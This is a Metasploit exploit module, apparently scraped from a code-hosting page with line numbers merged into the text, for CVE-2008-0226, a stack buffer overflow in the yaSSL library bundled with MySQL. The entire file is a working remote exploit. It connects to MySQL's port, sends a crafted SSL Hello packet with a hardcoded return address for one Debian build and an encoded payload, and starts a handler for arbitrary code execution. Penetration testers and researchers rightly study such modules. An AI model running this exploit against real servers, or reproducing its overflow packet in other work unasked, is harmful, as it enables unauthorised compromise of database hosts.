Path: blob/master/modules/exploits/linux/mysql/mysql_yassl_hello.rb
19568 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)17implementation bundled with MySQL <= 6.0. By sending a specially crafted18Hello packet, an attacker may be able to execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2008-0226' ],24[ 'OSVDB', '41195' ],25[ 'BID', '27140' ],2627],28'Privileged' => false,29'Payload' => {30'Space' => 100,31'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",32},33'Platform' => 'linux',34'Targets' => [35[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],36],37'DefaultTarget' => 0,38'DisclosureDate' => '2008-01-04',39'Notes' => {40'Reliability' => UNKNOWN_RELIABILITY,41'Stability' => UNKNOWN_STABILITY,42'SideEffects' => UNKNOWN_SIDE_EFFECTS43}44)45)4647register_options(48[49Opt::RPORT(3306)50]51)52end5354def exploit55connect5657sock.get_once5859req_uno = [0x01000020].pack('V')6061req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')62req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')63req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')64req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')65req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')66req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)67req_dos << [target.ret].pack('V') + payload.encoded68req_dos << rand_text_alphanumeric(1024)6970print_status("Trying target #{target.name}...")7172sock.put(req_uno)73sock.put(req_dos)7475handler76disconnect77end78end798081